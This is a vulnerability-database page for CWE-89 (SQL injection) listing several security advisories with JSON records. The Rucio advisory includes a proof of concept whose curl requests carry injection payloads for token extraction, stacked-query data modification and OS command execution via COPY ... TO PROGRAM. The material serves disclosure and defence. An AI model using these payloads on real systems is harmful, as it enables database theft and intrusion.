Common Weakness Enumeration

CWE-89

Allowed

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Abstraction: Base · Status: Stable

API response cwe.mitre.org

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

28213 vulnerabilities reference this CWE, most recent first.

GHSA-6J4H-M95W-MR2Q

Vulnerability from github – Published: 2026-04-08 09:31 – Updated: 2026-04-08 09:31
VLAI
Details

The Attendance Manager plugin for WordPress is vulnerable to SQL Injection via the 'attmgr_off' parameter in all versions up to, and including, 0.6.2. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-3781"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-08T07:16:22Z",
    "severity": "MODERATE"
  },
  "details": "The Attendance Manager plugin for WordPress is vulnerable to SQL Injection via the \u0027attmgr_off\u0027 parameter in all versions up to, and including, 0.6.2. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.",
  "id": "GHSA-6j4h-m95w-mr2q",
  "modified": "2026-04-08T09:31:30Z",
  "published": "2026-04-08T09:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3781"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/attendance-manager/trunk/class/class-form.php#L142"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/attendance-manager/trunk/class/class-form.php#L148"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/edf5ba29-2fc5-4839-abde-999f6b686749?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6J5P-3MWX-76VW

Vulnerability from github – Published: 2022-05-13 01:28 – Updated: 2022-05-13 01:28
VLAI
Details

SQL Injection exists in Easy Car Script 2014 via the s_order or s_row parameter to site_search.php.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2018-5986"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-01-24T10:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "SQL Injection exists in Easy Car Script 2014 via the s_order or s_row parameter to site_search.php.",
  "id": "GHSA-6j5p-3mwx-76vw",
  "modified": "2022-05-13T01:28:17Z",
  "published": "2022-05-13T01:28:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5986"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/43863"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6J63-35HJ-VMCG

Vulnerability from github – Published: 2018-10-30 20:34 – Updated: 2023-08-25 21:32
VLAI
Summary
mysql-bunuuid-rails vulnerable to SQL injection
Details

mysql-binuuid-rails 1.1.0 and earlier allows SQL Injection because it removes default string escaping for affected database columns.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "mysql-binuuid-rails"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-18476"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:19:25Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "mysql-binuuid-rails 1.1.0 and earlier allows SQL Injection because it removes default string escaping for affected database columns.",
  "id": "GHSA-6j63-35hj-vmcg",
  "modified": "2023-08-25T21:32:56Z",
  "published": "2018-10-30T20:34:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18476"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nedap/mysql-binuuid-rails/pull/18"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nedap/mysql-binuuid-rails/commit/9ae920951b46ff0163b16c55d744e89acb1036d4"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/viraptor/881276ea61e8d56bac6e28454c79f1e6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nedap/mysql-binuuid-rails"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/mysql-binuuid-rails/CVE-2018-18476.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mysql-bunuuid-rails vulnerable to SQL injection"
}

GHSA-6J6Q-XC3Q-CHP4

Vulnerability from github – Published: 2023-12-17 12:30 – Updated: 2023-12-17 12:30
VLAI
Details

A vulnerability classified as critical has been found in SourceCodester Best Courier Management System 1.0. Affected is an unknown function of the file manage_user.php. The manipulation of the argument id leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-248256.

Severity
5.5 (Medium)
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
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{
  "affected": [],
  "aliases": [
    "CVE-2023-6898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-17T11:15:08Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as critical has been found in SourceCodester Best Courier Management System 1.0. Affected is an unknown function of the file manage_user.php. The manipulation of the argument id leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-248256.",
  "id": "GHSA-6j6q-xc3q-chp4",
  "modified": "2023-12-17T12:30:27Z",
  "published": "2023-12-17T12:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6898"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Glunko/gaatitrack-courier-management-system_vulnerability/blob/main/sql_injection.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.248256"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.248256"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6J75-9VMV-439P

Vulnerability from github – Published: 2025-04-03 21:32 – Updated: 2025-04-03 21:32
VLAI
Details

A vulnerability classified as critical was found in Project Worlds Online Lawyer Management System 1.0. This vulnerability affects unknown code of the file /approve_lawyer.php. The manipulation of the argument unblock_id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2025-3171"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-03T18:15:48Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as critical was found in Project Worlds Online Lawyer Management System 1.0. This vulnerability affects unknown code of the file /approve_lawyer.php. The manipulation of the argument unblock_id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-6j75-9vmv-439p",
  "modified": "2025-04-03T21:32:58Z",
  "published": "2025-04-03T21:32:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3171"
    },
    {
      "type": "WEB",
      "url": "https://github.com/p1026/CVE/issues/5"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.303130"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.303130"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.543273"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6J7P-QJHG-9947

Vulnerability from github – Published: 2026-05-06 16:44 – Updated: 2026-06-30 16:43
VLAI
Summary
Rucio has SQL Injection in FilterEngine PostgreSQL Query Builder via DID Search API
Details

Summary

A SQL injection vulnerability in FilterEngine.create_postgres_query allows any authenticated Rucio user to execute arbitrary SQL against the configured PostgreSQL metadata database through the DID search endpoint (GET /dids/<scope>/dids/search). When the external metadata plugin postgres_meta is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL statements via Python str.format. This enables full database compromise including data exfiltration, data modification, and potential remote code execution via COPY ... FROM PROGRAM.

Details

The vulnerability exists in lib/rucio/core/did_meta_plugins/filter_engine.py within the create_postgres_query() method (lines 408-484). This method builds raw SQL strings via Python .format() across 6 distinct injection points:

filter_engine.py:477 (string equality — default branch):

expression = "{}->>'{}'  {} '{}'".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)

filter_engine.py:442 (wildcard/LIKE branch):

expression = "{}->>'{}'  LIKE '{}' ".format(jsonb_column, key, value.replace('*', '%'))

filter_engine.py:456 (boolean branch — value unquoted):

expression = "({}->>'{}'  )::boolean {} {}".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)

filter_engine.py:462 (numeric branch — value unquoted):

expression = "({}->>'{}'  )::float {} {}".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)

filter_engine.py:472 (datetime branch):

expression = "({}->>'{}'  )::timestamp {} '{}'".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)

filter_engine.py:479 (non-JSONB column fallback):

expression = "{} {} '{}'".format(key, POSTGRES_OP_MAP[oper], value)

Both key and value are attacker-controlled strings derived from HTTP query parameters. The resulting expression string is concatenated into a larger query string (postgres_query_str) that is then passed to psycopg3's sql.SQL():

# postgres_meta.py:314-316
statement = sql.SQL("SELECT * FROM {} WHERE {} {}").format(
    sql.Identifier(self.table),
    sql.SQL(postgres_query_str),   # <-- UNSANITIZED user-derived string
    sql.SQL("LIMIT {}").format(sql.Literal(limit)) if limit else sql.SQL("")
)

sql.SQL() wraps the string as a trusted SQL syntax fragment — it does not escape or parameterize its contents. The statement is then executed via cur.execute(statement) at postgres_meta.py:321.

Why no existing defense blocks this

The data flow from HTTP request to SQL execution passes through multiple layers with no effective sanitization:

  1. HTTP input (dids.py:265-274): Filter keys and values are accepted from query parameters via ast.literal_eval() or directly from individual query argument names/values. The fallback path only excludes 4 reserved keys (type, limit, long, recursive).

  2. Plugin routing (did_meta_plugins/__init__.py:227-248): Each filter key is checked via manages_key(). postgres_meta.manages_key() unconditionally returns True (line 345) — it accepts ANY filter key without validation.

  3. FilterEngine initialization: The postgres_meta plugin instantiates FilterEngine with strict_coerce=False. Unknown keys pass through _coerce_filter_word_to_model_attribute() as raw strings.

  4. Value typecasting (filter_engine.py:275-297): _try_typecast_string() attempts to parse the value as a boolean, datetime, or number. SQL injection strings fail all these parsers and are returned unchanged.

  5. Sanity checks (filter_engine.py:149-190): _sanity_check_translated_filters() does not validate arbitrary key names or values for SQL-unsafe characters.

  6. SQL construction (filter_engine.py:442-479): The unsanitized key and value strings are interpolated directly into raw SQL strings via .format().

  7. SQL execution (postgres_meta.py:316,321): The raw string is wrapped in sql.SQL() (treated as trusted SQL) and executed via cur.execute().

PoC

Prerequisites: - A Rucio instance using PostgreSQL as the database backend - The postgres_meta metadata plugin explicitly configured (this is NOT the default — the default is json_meta) - Any valid Rucio authentication token (obtainable via userpass, x509, OIDC, SAML, SSH, or GSS)

1. Obtain an authentication token

TOKEN=$(curl -s -k \
  -H 'X-Rucio-Account: testuser' \
  -H 'X-Rucio-Username: testuser' \
  -H 'X-Rucio-Password: testpass' \
  'https://rucio.example.org/auth/userpass' \
  -D - 2>/dev/null | grep -i 'x-rucio-auth-token' | awk '{print $2}' | tr -d '\r')

2. Value injection — boolean-based filter bypass

# postgres_meta uses create_postgres_query() -> raw string formatting
# filter_engine.py:477: "{}->>'{}'  {} '{}'".format(jsonb_column, key, op, value)

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20OR%20'1'%3D'1"

# URL-decoded: custom_key=x' OR '1'='1
#
# Generated SQL fragment:
#   data->>'custom_key' = 'x' OR '1'='1'
#
# Effect: WHERE clause always true, returns all rows

3. Key injection via query parameter name

# The key is single-quoted but unescaped — injection via closing quote.
# filter_engine.py:477: "{}->>'{}'  {} '{}'".format(jsonb_column, key, op, value)

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?x'%20OR%201%3D1--%20=anything"

# URL-decoded: key = x' OR 1=1--  , value = anything
#
# Generated SQL fragment:
#   data->>'x' OR 1=1-- ' = 'anything'
#              ^^^^^^^^ injected, -- comments out the rest

4. UNION-based data extraction

# Extract auth tokens from the tokens table.

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20UNION%20SELECT%20token%2Caccount%2CNULL%2CNULL%20FROM%20tokens%20--"

# URL-decoded: custom_key=x' UNION SELECT token,account,NULL,NULL FROM tokens --
#
# Effect: Appends tokens table contents to the result set

5. Stacked queries — data modification

# PostgreSQL supports multiple statements separated by ;

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20UPDATE%20accounts%20SET%20account_type%3D'SERVICE'%20WHERE%20account%3D'testuser';%20--"

# URL-decoded: custom_key=x'; UPDATE accounts SET account_type='SERVICE' WHERE account='testuser'; --

6. Remote code execution (if database user has superuser privileges)

# PostgreSQL COPY ... FROM PROGRAM executes OS commands

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20COPY%20(SELECT%20'')%20TO%20PROGRAM%20'id%20>%20/tmp/pwned';%20--"

# URL-decoded: custom_key=x'; COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned'; --
# Requires: database user with pg_execute_server_program or superuser role

7. Alternative entry via filters query parameter

# The filters parameter accepts Python literal syntax via ast.literal_eval().

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?filters=%5B%7B%22custom_key%22%3A%20%22x%27%20OR%20%271%27%3D%271%22%7D%5D'

# URL-decoded: filters=[{"custom_key": "x' OR '1'='1"}]

Impact

Vulnerability type: SQL Injection (CWE-89)

CVSS v3.1: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

Who is impacted:

  • Rucio deployments that have explicitly configured the postgres_meta metadata plugin.

What an attacker can do:

  • Data modification: PostgreSQL stacked queries enable arbitrary INSERT/UPDATE/DELETE operations.
  • Remote code execution: Via PostgreSQL's COPY ... FROM PROGRAM if the database user has superuser or pg_execute_server_program privileges.
  • File system access: Via COPY ... TO/FROM '/path' if filesystem permissions allow.

Further elevation when the same postgres database and access is used for metadata and for Rucio itself

  • Full database read access: Extract any table including identities (password hashes and salts), tokens (active authentication sessions), accounts (user enumeration), rse_settings (storage endpoint credentials), and rules (data management policies) could be extracted.
  • Password hash extraction: Combined with Rucio's use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed.
  • Authentication token theft: Active bearer tokens can be extracted and used for immediate session hijacking.

Required attacker privileges: Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The GET /dids/<scope>/dids/search endpoint is available to all authenticated users.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
9.0 (Critical)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rucio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.30.0"
            },
            {
              "fixed": "35.8.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rucio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "36.0.0"
            },
            {
              "fixed": "38.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rucio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "39.0.0"
            },
            {
              "fixed": "39.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rucio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "40.0.0"
            },
            {
              "fixed": "40.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29090"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T16:44:07Z",
    "nvd_published_at": "2026-05-06T18:16:02Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA SQL injection vulnerability in `FilterEngine.create_postgres_query` allows any authenticated Rucio user to execute arbitrary SQL against the configured PostgreSQL metadata database through the DID search endpoint (`GET /dids/\u003cscope\u003e/dids/search`). When the external metadata plugin `postgres_meta` is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL statements via Python `str.format`. This enables full database compromise including data exfiltration, data modification, and potential remote code execution via `COPY ... FROM PROGRAM`.\n\n---\n\n### Details\n\nThe vulnerability exists in `lib/rucio/core/did_meta_plugins/filter_engine.py` within the `create_postgres_query()` method (lines 408-484). This method builds raw SQL strings via Python `.format()` across 6 distinct injection points:\n\n**filter_engine.py:477** (string equality \u2014 default branch):\n```python\nexpression = \"{}-\u003e\u003e\u0027{}\u0027  {} \u0027{}\u0027\".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)\n```\n\n**filter_engine.py:442** (wildcard/LIKE branch):\n```python\nexpression = \"{}-\u003e\u003e\u0027{}\u0027  LIKE \u0027{}\u0027 \".format(jsonb_column, key, value.replace(\u0027*\u0027, \u0027%\u0027))\n```\n\n**filter_engine.py:456** (boolean branch \u2014 value unquoted):\n```python\nexpression = \"({}-\u003e\u003e\u0027{}\u0027  )::boolean {} {}\".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)\n```\n\n**filter_engine.py:462** (numeric branch \u2014 value unquoted):\n```python\nexpression = \"({}-\u003e\u003e\u0027{}\u0027  )::float {} {}\".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)\n```\n\n**filter_engine.py:472** (datetime branch):\n```python\nexpression = \"({}-\u003e\u003e\u0027{}\u0027  )::timestamp {} \u0027{}\u0027\".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)\n```\n\n**filter_engine.py:479** (non-JSONB column fallback):\n```python\nexpression = \"{} {} \u0027{}\u0027\".format(key, POSTGRES_OP_MAP[oper], value)\n```\n\nBoth `key` and `value` are attacker-controlled strings derived from HTTP query parameters. The resulting `expression` string is concatenated into a larger query string (`postgres_query_str`) that is then passed to `psycopg3`\u0027s `sql.SQL()`:\n\n```python\n# postgres_meta.py:314-316\nstatement = sql.SQL(\"SELECT * FROM {} WHERE {} {}\").format(\n    sql.Identifier(self.table),\n    sql.SQL(postgres_query_str),   # \u003c-- UNSANITIZED user-derived string\n    sql.SQL(\"LIMIT {}\").format(sql.Literal(limit)) if limit else sql.SQL(\"\")\n)\n```\n\n`sql.SQL()` wraps the string as a trusted SQL syntax fragment \u2014 it does **not** escape or parameterize its contents. The statement is then executed via `cur.execute(statement)` at `postgres_meta.py:321`.\n\n#### Why no existing defense blocks this\n\nThe data flow from HTTP request to SQL execution passes through multiple layers with no effective sanitization:\n\n1. **HTTP input** (`dids.py:265-274`): Filter keys and values are accepted from query parameters via `ast.literal_eval()` or directly from individual query argument names/values. The fallback path only excludes 4 reserved keys (`type`, `limit`, `long`, `recursive`).\n\n2. **Plugin routing** (`did_meta_plugins/__init__.py:227-248`): Each filter key is checked via `manages_key()`. `postgres_meta.manages_key()` **unconditionally returns `True`** (line 345) \u2014 it accepts ANY filter key without validation.\n\n3. **FilterEngine initialization**: The `postgres_meta` plugin instantiates `FilterEngine` with `strict_coerce=False`. Unknown keys pass through `_coerce_filter_word_to_model_attribute()` as raw strings.\n\n4. **Value typecasting** (`filter_engine.py:275-297`): `_try_typecast_string()` attempts to parse the value as a boolean, datetime, or number. SQL injection strings fail all these parsers and are returned unchanged.\n\n5. **Sanity checks** (`filter_engine.py:149-190`): `_sanity_check_translated_filters()` does **not** validate arbitrary key names or values for SQL-unsafe characters.\n\n6. **SQL construction** (`filter_engine.py:442-479`): The unsanitized key and value strings are interpolated directly into raw SQL strings via `.format()`.\n\n7. **SQL execution** (`postgres_meta.py:316,321`): The raw string is wrapped in `sql.SQL()` (treated as trusted SQL) and executed via `cur.execute()`.\n\n---\n\n### PoC\n\n**Prerequisites:**\n- A Rucio instance using PostgreSQL as the database backend\n- The `postgres_meta` metadata plugin **explicitly configured** (this is NOT the default \u2014 the default is `json_meta`)\n- Any valid Rucio authentication token (obtainable via userpass, x509, OIDC, SAML, SSH, or GSS)\n\n#### 1. Obtain an authentication token\n\n```bash\nTOKEN=$(curl -s -k \\\n  -H \u0027X-Rucio-Account: testuser\u0027 \\\n  -H \u0027X-Rucio-Username: testuser\u0027 \\\n  -H \u0027X-Rucio-Password: testpass\u0027 \\\n  \u0027https://rucio.example.org/auth/userpass\u0027 \\\n  -D - 2\u003e/dev/null | grep -i \u0027x-rucio-auth-token\u0027 | awk \u0027{print $2}\u0027 | tr -d \u0027\\r\u0027)\n```\n\n#### 2. Value injection \u2014 boolean-based filter bypass\n\n```bash\n# postgres_meta uses create_postgres_query() -\u003e raw string formatting\n# filter_engine.py:477: \"{}-\u003e\u003e\u0027{}\u0027  {} \u0027{}\u0027\".format(jsonb_column, key, op, value)\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x\u0027%20OR%20\u00271\u0027%3D\u00271\"\n\n# URL-decoded: custom_key=x\u0027 OR \u00271\u0027=\u00271\n#\n# Generated SQL fragment:\n#   data-\u003e\u003e\u0027custom_key\u0027 = \u0027x\u0027 OR \u00271\u0027=\u00271\u0027\n#\n# Effect: WHERE clause always true, returns all rows\n```\n\n#### 3. Key injection via query parameter name\n\n```bash\n# The key is single-quoted but unescaped \u2014 injection via closing quote.\n# filter_engine.py:477: \"{}-\u003e\u003e\u0027{}\u0027  {} \u0027{}\u0027\".format(jsonb_column, key, op, value)\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?x\u0027%20OR%201%3D1--%20=anything\"\n\n# URL-decoded: key = x\u0027 OR 1=1--  , value = anything\n#\n# Generated SQL fragment:\n#   data-\u003e\u003e\u0027x\u0027 OR 1=1-- \u0027 = \u0027anything\u0027\n#              ^^^^^^^^ injected, -- comments out the rest\n```\n\n#### 4. UNION-based data extraction\n\n```bash\n# Extract auth tokens from the tokens table.\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x\u0027%20UNION%20SELECT%20token%2Caccount%2CNULL%2CNULL%20FROM%20tokens%20--\"\n\n# URL-decoded: custom_key=x\u0027 UNION SELECT token,account,NULL,NULL FROM tokens --\n#\n# Effect: Appends tokens table contents to the result set\n```\n\n#### 5. Stacked queries \u2014 data modification\n\n```bash\n# PostgreSQL supports multiple statements separated by ;\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x\u0027;%20UPDATE%20accounts%20SET%20account_type%3D\u0027SERVICE\u0027%20WHERE%20account%3D\u0027testuser\u0027;%20--\"\n\n# URL-decoded: custom_key=x\u0027; UPDATE accounts SET account_type=\u0027SERVICE\u0027 WHERE account=\u0027testuser\u0027; --\n```\n\n#### 6. Remote code execution (if database user has superuser privileges)\n\n```bash\n# PostgreSQL COPY ... FROM PROGRAM executes OS commands\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x\u0027;%20COPY%20(SELECT%20\u0027\u0027)%20TO%20PROGRAM%20\u0027id%20\u003e%20/tmp/pwned\u0027;%20--\"\n\n# URL-decoded: custom_key=x\u0027; COPY (SELECT \u0027\u0027) TO PROGRAM \u0027id \u003e /tmp/pwned\u0027; --\n# Requires: database user with pg_execute_server_program or superuser role\n```\n\n#### 7. Alternative entry via `filters` query parameter\n\n```bash\n# The filters parameter accepts Python literal syntax via ast.literal_eval().\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \u0027https://rucio.example.org/dids/user.testuser/dids/search?filters=%5B%7B%22custom_key%22%3A%20%22x%27%20OR%20%271%27%3D%271%22%7D%5D\u0027\n\n# URL-decoded: filters=[{\"custom_key\": \"x\u0027 OR \u00271\u0027=\u00271\"}]\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** SQL Injection (CWE-89)\n\n**CVSS v3.1:** 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n\n**Who is impacted:**\n\n- Rucio deployments that have explicitly configured the `postgres_meta` metadata plugin.\n\n**What an attacker can do:**\n\n- **Data modification:** PostgreSQL stacked queries enable arbitrary `INSERT`/`UPDATE`/`DELETE` operations.\n- **Remote code execution:** Via PostgreSQL\u0027s `COPY ... FROM PROGRAM` if the database user has superuser or `pg_execute_server_program` privileges.\n- **File system access:** Via `COPY ... TO/FROM \u0027/path\u0027` if filesystem permissions allow.\n\n**Further elevation when the same postgres database and access is used for metadata and for Rucio itself**\n\n- **Full database read access:** Extract any table including `identities` (password hashes and salts), `tokens` (active authentication sessions), `accounts` (user enumeration), `rse_settings` (storage endpoint credentials), and `rules` (data management policies) could be extracted.\n- **Password hash extraction:** Combined with Rucio\u0027s use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed.\n- **Authentication token theft:** Active bearer tokens can be extracted and used for immediate session hijacking.\n\n**Required attacker privileges:** Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The `GET /dids/\u003cscope\u003e/dids/search` endpoint is available to all authenticated users.",
  "id": "GHSA-6j7p-qjhg-9947",
  "modified": "2026-06-30T16:43:52Z",
  "published": "2026-05-06T16:44:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rucio/rucio/security/advisories/GHSA-6j7p-qjhg-9947"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29090"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6j7p-qjhg-9947"
    },
    {
      "type": "WEB",
